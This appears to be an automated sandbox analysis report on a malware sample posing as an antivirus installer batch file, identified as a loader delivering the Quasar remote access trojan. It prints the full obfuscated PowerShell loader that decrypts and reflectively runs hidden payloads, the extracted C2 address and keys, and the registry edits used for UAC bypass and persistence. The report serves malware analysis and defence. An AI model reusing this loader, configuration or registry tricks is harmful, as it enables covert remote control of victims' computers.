customerloader | 483bcf047c15e51fe1c167604b5ae8a822b8fee310ff8fd3c5c95ddfb805b2f1

Analysis

max time kernel
298s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/05/2026, 02:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CoreDefender_Antivirus_Setup.bat
Size 5.1MB
Sample260524-dbr39saz3v
SHA256 483bcf047c15e51fe1c167604b5ae8a822b8fee310ff8fd3c5c95ddfb805b2f1
MD5 bff4c953123b3c3567b7682f2d016b7a
SHA1 770e7c811a14206aa0c4e6ce2968686c082fef07
SHA512 1bbe25704b4c5142c02ebd4cf723da7a9c9f7c2de3836489f5cca33e3147e1451199ae2920c438fa2f12d1731aab3661f97aede77eab3dcf43a4fa50cc032c58
SSDEEP 24576:JTixj75VHMisnzPCaUT+r5orGyxWYm6NTs+t+YL4E/HXX3+ylo1b+06MIqUYeTX+:h
TLSH
T1A846AEB871C86ED61F7E066EC99D69D913A93612897B94CCC09B6BCE0C53325EE35C30
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

rtkaudioservice defense_evasion downloader customerloader quasar loader persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.6.6

Botnet

RtkAudioService

13.233.224.203:3001

Mutex

5f0fa0a2-b9a3-49be-8ab2-3b125e3c4ec3

Attributes

encryption_key
2FCC00E69AAE4F8C1204EDB127CA14A8751F73F7
install_name
.exe
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Family: Customer Loader
Customer Loader is a downloader written in C#.
downloader loader customerloader
Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/1380-30-0x000001E3DC8C0000-0x000001E3DCB5C000-memory.dmp	family_quasar

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	powershell.exe

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
58	1380	powershell.exe
65	1380	powershell.exe
69	1380	powershell.exe
70	1380	powershell.exe
73	1380	powershell.exe
74	1380	powershell.exe
76	1380	powershell.exe
77	1380	powershell.exe
78	1380	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OEZWEmMB.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OEZWEmMB = "\"C:\\Windows\\system32\\wscript.exe\" //B //nologo \"C:\\Users\\Admin\\AppData\\Roaming\\OEZWEmMB.vbs\""	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1380	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1380	powershell.exe
1380	powershell.exe
4712	powershell.exe
4712	powershell.exe
4712	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1380	powershell.exe
Token: SeDebugPrivilege	4712	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 2264	4896	cmd.exe	86
PID 2264 wrote to memory of 3836	2264	cmd.exe	89
PID 2264 wrote to memory of 1380	2264	cmd.exe	90
PID 4408 wrote to memory of 1888	4408	wscript.exe	112
PID 1888 wrote to memory of 3528	1888	cmd.exe	114
PID 3528 wrote to memory of 2908	3528	cmd.exe	116
PID 3528 wrote to memory of 4712	3528	cmd.exe	117

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CoreDefender_Antivirus_Setup.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\CoreDefender_Antivirus_Setup.bat" s"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\fltMC.exe
    fltMC
    3⤵
    PID:3836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -ep bypass -c "$iduriU = 'Sys' + 'tem';;$qIGyyG = $iduriU + '.Se' + 'cur' + 'ity.Cry' + 'pt' + 'ogr' + 'aphy';;$txAxDC = $iduriU + '.I' + 'O';;$hKtIkG = $iduriU + '.Re' + 'fle' + 'cti' + 'on';;$mSMFL = 'Fr' + 'omB' + 'ase' + '64S' + 'tri' + 'ng';;$zSXxi = 'Cr' + 'eat' + 'eDe' + 'cry' + 'ptor';;$UPULZ = 'Tr' + 'ans' + 'for' + 'mFi' + 'nal' + 'Blo' + 'ck';;function hetEBzMx($axSnfa) {; $jPBTVu=New-Object ($qIGyyG + '.Ae' + 'sMa' + 'nag' + 'ed');; $jPBTVu.Mode=[int]1;; $jPBTVu.Padding=[int]2;; $jPBTVu.Key=[Convert]::$mSMFL('CujRiq4yXZP7iPADbhyYmZn4uzNs1g6dyfjvT/liuBc=');; $jPBTVu.IV=[Convert]::$mSMFL('1NDmZpwB0a2+jVGNxzrKlw==');; $IqlHW=$jPBTVu.$zSXxi();; $dPIOH=$IqlHW.$UPULZ($axSnfa, 0, $axSnfa.Length);; $IqlHW.Dispose();; $jPBTVu.Dispose();; $dPIOH;;};function SBXDljXt($axSnfa) {; $tLMoaH=New-Object ($txAxDC + '.Me' + 'mo' + 'ryS' + 'tre' + 'am')(,$axSnfa);; $iWBnzg=New-Object ($txAxDC + '.Me' + 'mo' + 'ryS' + 'tre' + 'am');; $hctkMm=$txAxDC + '.Co' + 'mpr' + 'ess' + 'ion';; $fnNoLE=[type]($hctkMm + '.Com' + 'pre' + 'ssion' + 'Mo' + 'de');; $nySljf=[Enum]::ToObject($fnNoLE, 0);; $NRKpx=New-Object ($hctkMm + '.GZ' + 'ipS' + 'tre' + 'am')($tLMoaH, $nySljf);; $NRKpx.CopyTo($iWBnzg);; $NRKpx.Dispose();; $tLMoaH.Dispose();; $iWBnzg.Dispose();; $iWBnzg.ToArray();;};function BywTimqv($axSnfa,$dHUdeK) {; $Scizm='En' + 'try' + 'Po' + 'int';; $INUvD='Lo' + 'ad';; $MskaN='In' + 'vo' + 'ke';; $tSwqg=[type]($hKtIkG + '.As' + 'se' + 'mb' + 'ly');; $AoFkCg=$tSwqg::$INUvD([byte[]]$axSnfa);; $BMAWQG=$AoFkCg.$Scizm;; $BMAWQG.$MskaN($null, $dHUdeK);;};function xKwwwryi($PqEpw) {; $HnJJPh = New-Object byte[] ($PqEpw.Length / 2);; for ($VSTAS = 0; $VSTAS -lt $PqEpw.Length; $VSTAS += 2) {; $HnJJPh[$VSTAS / 2] = [Convert]::ToByte($PqEpw.Substring($VSTAS, 2), 16);; }; $HnJJPh;;};$WKlrt = 'wuGsHB';;$XdYOZ = 'rem ' + $WKlrt;;$eBYQtS = $env:hsoTrycb;;$hQArA=[type]($txAxDC + '.Fi' + 'le');;$VVyBr='Re'+'adA'+'llL'+'ine'+'s';;$TdEJgZZ=$hQArA::$VVyBr($eBYQtS);;$SpJSxkG = '';;$xQNVmTy = '';;$Mkyisb = $XdYOZ.Length;;foreach ($lQTyb in $TdEJgZZ) {; if ($lQTyb.Length -gt ($Mkyisb + 1)) {; if ($lQTyb.Substring(0, $Mkyisb) -eq $XdYOZ) {; $qQeGIM = $lQTyb.Substring($Mkyisb);; if ($qQeGIM[0] -eq 'b') { $SpJSxkG += $qQeGIM.Substring(1) }; if ($qQeGIM[0] -eq 's') { $xQNVmTy += $qQeGIM.Substring(1) }; }; };};$lLmQUa=SBXDljXt (hetEBzMx (xKwwwryi $SpJSxkG));;$rSZcvr=SBXDljXt (hetEBzMx (xKwwwryi $xQNVmTy));;BywTimqv $lLmQUa $null;;BywTimqv $rSZcvr (,[string[]] @());"
    3⤵
    - UAC bypass
    - Badlisted process makes network request
    - Drops startup file
    - Adds Run key to start application
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1380

C:\Windows\system32\wscript.exe
"C:\Windows\system32\wscript.exe" //B //nologo "C:\Users\Admin\AppData\Roaming\OEZWEmMB.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\OEZWEmMB.bat" h
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Roaming\OEZWEmMB.bat" s"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3528
  - - C:\Windows\system32\fltMC.exe
      fltMC
      4⤵
      PID:2908
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -ep bypass -c "$iduriU = 'Sys' + 'tem';;$qIGyyG = $iduriU + '.Se' + 'cur' + 'ity.Cry' + 'pt' + 'ogr' + 'aphy';;$txAxDC = $iduriU + '.I' + 'O';;$hKtIkG = $iduriU + '.Re' + 'fle' + 'cti' + 'on';;$mSMFL = 'Fr' + 'omB' + 'ase' + '64S' + 'tri' + 'ng';;$zSXxi = 'Cr' + 'eat' + 'eDe' + 'cry' + 'ptor';;$UPULZ = 'Tr' + 'ans' + 'for' + 'mFi' + 'nal' + 'Blo' + 'ck';;function hetEBzMx($axSnfa) {; $jPBTVu=New-Object ($qIGyyG + '.Ae' + 'sMa' + 'nag' + 'ed');; $jPBTVu.Mode=[int]1;; $jPBTVu.Padding=[int]2;; $jPBTVu.Key=[Convert]::$mSMFL('CujRiq4yXZP7iPADbhyYmZn4uzNs1g6dyfjvT/liuBc=');; $jPBTVu.IV=[Convert]::$mSMFL('1NDmZpwB0a2+jVGNxzrKlw==');; $IqlHW=$jPBTVu.$zSXxi();; $dPIOH=$IqlHW.$UPULZ($axSnfa, 0, $axSnfa.Length);; $IqlHW.Dispose();; $jPBTVu.Dispose();; $dPIOH;;};function SBXDljXt($axSnfa) {; $tLMoaH=New-Object ($txAxDC + '.Me' + 'mo' + 'ryS' + 'tre' + 'am')(,$axSnfa);; $iWBnzg=New-Object ($txAxDC + '.Me' + 'mo' + 'ryS' + 'tre' + 'am');; $hctkMm=$txAxDC + '.Co' + 'mpr' + 'ess' + 'ion';; $fnNoLE=[type]($hctkMm + '.Com' + 'pre' + 'ssion' + 'Mo' + 'de');; $nySljf=[Enum]::ToObject($fnNoLE, 0);; $NRKpx=New-Object ($hctkMm + '.GZ' + 'ipS' + 'tre' + 'am')($tLMoaH, $nySljf);; $NRKpx.CopyTo($iWBnzg);; $NRKpx.Dispose();; $tLMoaH.Dispose();; $iWBnzg.Dispose();; $iWBnzg.ToArray();;};function BywTimqv($axSnfa,$dHUdeK) {; $Scizm='En' + 'try' + 'Po' + 'int';; $INUvD='Lo' + 'ad';; $MskaN='In' + 'vo' + 'ke';; $tSwqg=[type]($hKtIkG + '.As' + 'se' + 'mb' + 'ly');; $AoFkCg=$tSwqg::$INUvD([byte[]]$axSnfa);; $BMAWQG=$AoFkCg.$Scizm;; $BMAWQG.$MskaN($null, $dHUdeK);;};function xKwwwryi($PqEpw) {; $HnJJPh = New-Object byte[] ($PqEpw.Length / 2);; for ($VSTAS = 0; $VSTAS -lt $PqEpw.Length; $VSTAS += 2) {; $HnJJPh[$VSTAS / 2] = [Convert]::ToByte($PqEpw.Substring($VSTAS, 2), 16);; }; $HnJJPh;;};$WKlrt = 'wuGsHB';;$XdYOZ = 'rem ' + $WKlrt;;$eBYQtS = $env:hsoTrycb;;$hQArA=[type]($txAxDC + '.Fi' + 'le');;$VVyBr='Re'+'adA'+'llL'+'ine'+'s';;$TdEJgZZ=$hQArA::$VVyBr($eBYQtS);;$SpJSxkG = '';;$xQNVmTy = '';;$Mkyisb = $XdYOZ.Length;;foreach ($lQTyb in $TdEJgZZ) {; if ($lQTyb.Length -gt ($Mkyisb + 1)) {; if ($lQTyb.Substring(0, $Mkyisb) -eq $XdYOZ) {; $qQeGIM = $lQTyb.Substring($Mkyisb);; if ($qQeGIM[0] -eq 'b') { $SpJSxkG += $qQeGIM.Substring(1) }; if ($qQeGIM[0] -eq 's') { $xQNVmTy += $qQeGIM.Substring(1) }; }; };};$lLmQUa=SBXDljXt (hetEBzMx (xKwwwryi $SpJSxkG));;$rSZcvr=SBXDljXt (hetEBzMx (xKwwwryi $xQNVmTy));;BywTimqv $lLmQUa $null;;BywTimqv $rSZcvr (,[string[]] @());"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4712

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:3672

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_uctnc455.bfq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uctnc455.bfq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

OEZWEmMB.bat

Path C:\Users\Admin\AppData\Roaming\OEZWEmMB.bat
Size 5.1MB
SHA256 483bcf047c15e51fe1c167604b5ae8a822b8fee310ff8fd3c5c95ddfb805b2f1
MD5 bff4c953123b3c3567b7682f2d016b7a
SHA1 770e7c811a14206aa0c4e6ce2968686c082fef07
SHA512 1bbe25704b4c5142c02ebd4cf723da7a9c9f7c2de3836489f5cca33e3147e1451199ae2920c438fa2f12d1731aab3661f97aede77eab3dcf43a4fa50cc032c58
SSDEEP 24576:JTixj75VHMisnzPCaUT+r5orGyxWYm6NTs+t+YL4E/HXX3+ylo1b+06MIqUYeTX+:h
TLSH
T1A846AEB871C86ED61F7E066EC99D69D913A93612897B94CCC09B6BCE0C53325EE35C30
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OEZWEmMB.vbs

Path C:\Users\Admin\AppData\Roaming\OEZWEmMB.vbs
Size 102B
SHA256 9b8715e2d63caa4ea512550582d47971f50f181877023fa981c0acaf4453f3f3
MD5 9a9394cf0e1f174bafe4e5177d6d52f7
SHA1 04d02c506112af15315615a2a35c7319be679e76
SHA512 4414b4dce3832a4379da807e17e950e2fd19f147f13c53d129c07393ebc06bc796e568e50b0ff605940fd83b4e65332e2ea3e6fcf570eadf52ca89df0389aec5
TLSH
T17CB01224218CD61D001280D30AB18C1CCD90CEA52B607F098700DC4C6176891D5C2442
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1380-31-0x000001E3A7FF0000-0x000001E3A800E000-memory.dmp

Download

memory/1380-33-0x000001E3DD4B0000-0x000001E3DD562000-memory.dmp

Download

memory/1380-11-0x000001E3C1DC0000-0x000001E3C1DD0000-memory.dmp

Download

memory/1380-12-0x000001E3A7FC0000-0x000001E3A7FC8000-memory.dmp

Download

memory/1380-13-0x000001E3CC3A0000-0x000001E3CC5EA000-memory.dmp

Download

memory/1380-7-0x000001E3C1D80000-0x000001E3C1DA2000-memory.dmp

Download

memory/1380-0-0x000001E3C1DC0000-0x000001E3C1DD0000-memory.dmp

Download

memory/1380-28-0x000001E3C1DC0000-0x000001E3C1DD0000-memory.dmp

Download

memory/1380-30-0x000001E3DC8C0000-0x000001E3DCB5C000-memory.dmp

Download

memory/1380-1-0x000001E3C1DC0000-0x000001E3C1DD0000-memory.dmp

Download

memory/1380-32-0x000001E3DD0A0000-0x000001E3DD0F0000-memory.dmp

Download

memory/1380-10-0x000001E3C1DC0000-0x000001E3C1DD0000-memory.dmp

Download

memory/1380-34-0x000001E3DD740000-0x000001E3DD902000-memory.dmp

Download

memory/1380-35-0x000001E3CC360000-0x000001E3CC39A000-memory.dmp

Download

memory/1380-36-0x000001E3DD050000-0x000001E3DD09A000-memory.dmp

Download

memory/1380-37-0x000001E3DD0F0000-0x000001E3DD13E000-memory.dmp

Download

memory/1380-38-0x000001E3DD140000-0x000001E3DD166000-memory.dmp

Download

memory/1380-39-0x000001E3DD170000-0x000001E3DD1A4000-memory.dmp

Download

memory/1380-41-0x000001E3DD200000-0x000001E3DD24A000-memory.dmp

Download

memory/1380-42-0x000001E3DD570000-0x000001E3DD59A000-memory.dmp

Download

memory/1380-40-0x000001E3DD1B0000-0x000001E3DD1FC000-memory.dmp

Download